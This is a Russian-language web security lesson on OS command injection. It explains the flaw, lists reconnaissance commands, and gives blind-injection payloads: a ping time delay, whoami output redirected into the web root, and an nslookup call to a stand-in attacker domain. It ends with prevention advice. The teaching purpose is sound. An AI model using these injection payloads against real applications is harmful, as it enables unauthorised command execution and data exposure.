# Занятие 4. OS command injection. ###### tags: `Intro to Web Security` ![](https://i.imgur.com/wX31ADP.png) #### Материалы и описание для самостоятельного изучения: - инъекции SQL - [PortSwigger academy](https://portswigger.net/web-security/sql-injection) - [sqlinjection.net](https://www.sqlinjection.net/tutorial/) - [hacksplaining.com](https://www.hacksplaining.com/lessons) ## Что такое инъекция команд OS? Инъекция команд операционной системы (также известная как shell инъекция) - это уязвимость веб-безопасности, которая позволяет злоумышленнику выполнять произвольные команды операционной системы (ОС) на сервере, на котором запущено приложение, и, как правило, полностью компрометировать приложение и все его данные. Очень часто злоумышленник может использовать уязвимость для внедрения команд операционной системы, чтобы скомпрометировать другие части инфраструктуры хостинга, используя доверительные отношения для переноса атаки на другие системы в организации. ![](https://i.imgur.com/yG6Azpa.png) ## Полезные команды Когда вы определили уязвимость для инъекции команд операционной системы, обычно полезно выполнить некоторые начальные команды, чтобы получить информацию о системе, которую вы взломали. Ниже приводится краткое описание некоторых команд, которые полезны на платформах Linux и Windows: |Назначение команды|Linux|Windows| |---|---|---| |Имя пользователя|whoami|whoami| |Система|uname -a|ver| |Конфигурация сети|ifconfig|ipconfig /all| |Сетевые подключения|netstat -an|netstat -an| |Процессы|ps -ef|tasklist| ![](https://i.imgur.com/7NxuJLP.png) ## Уязвимости для слепой инъекции команд ОС Во многих случаях инъекции команд ОС используют слепые инъекции. Это означает, что приложение не возвращает выходные данные команды в своем HTTP-ответе. Слепые уязвимости все еще можно использовать, но требуются другие методы. Вы можете использовать введенную команду, которая вызовет временную задержку чтобы найти инъекцию, а после перенаправить вывод введенной команды в файл в корневом каталоге или использовать введенную команду, которая вызовет внеполосное сетевое взаимодействие с системой, которой вы управляете, с использованием методов OAST. ![](https://i.imgur.com/Nn8U0JT.png) ## Обнаружение слепого ввода команд операционной системы с использованием временных задержек Самым простым способом сделать это является команда ping, поскольку она позволяет указать количество отправляемых ICMP-пакетов и, следовательно, время, необходимое для выполнения команды: `& ping -с 10 127.0.0.1 &` Эта команда заставит приложение пинговать свой сетевой адаптер обратной связи в течение 10 секунд. То есть произойдет задержка ответа. ![](https://i.imgur.com/T88KqHJ.png) ## Использование слепой инъекции команд операционной системы путем перенаправления вывода Вы можете перенаправить вывод введенной команды в файл в корневом каталоге, который затем можно получить с помощью браузера. Например, если приложение обслуживает статические ресурсы из расположения файловой системы `/var/www/static`, вы можете ввести следующие входные данные: `& whoami >/var/www/static/whoami.txt &` Символ > отправляет вывод команды whoami в указанный файл. Затем вы можете использовать свой браузер для извлечения `https://vulnerable-website.com/whoami.txt` чтобы получить файл и просмотреть выходные данные введенной команды. ![](https://i.imgur.com/3PHqwh8.png) ## Использование слепой инъекции команд операционной системы с использованием out-of-band (OAST) Вы можете использовать введенную команду, которая вызовет внеполосное сетевое взаимодействие с системой, которой вы управляете, с использованием методов OAST. Например: `& nslookup kgji2ohoyw.web-attacker.com &` Эта полезная нагрузка использует команду `nslookup`, чтобы вызвать поиск DNS для указанного домена. Злоумышленник может отслеживать выполнение указанного поиска и тем самым определять, что команда была успешно введена. ![](https://i.imgur.com/84r0Ewo.png) ## Как предотвратить инъекции команд операционной системы Безусловно, самый эффективный способ предотвратить уязвимости внедрения команд операционной системы - это никогда не вызывать команды операционной системы из кода прикладного уровня. Практически в каждом случае существуют альтернативные способы реализации требуемой функциональности с использованием более безопасных API-интерфейсов платформы. Если вызов команд операционной системы с вводом, предоставленным пользователем считается неизбежным, то необходимо выполнить строгую проверку ввода. Некоторые примеры эффективной проверки включают: - Проверка на соответствие белому списку разрешенных значений. - Проверка того, что входные данные являются числом. - Проверка того, что входные данные содержат только буквенно-цифровые символы, никакого другого синтаксиса или пробелов. Никогда не пытайтесь очистить ввод, просто избегая метасимволов оболочки. На практике такой метод слишком часто подвержен ошибкам и уязвим для обхода квалифицированным злоумышленником. ![](https://i.imgur.com/I9ih5DA.png)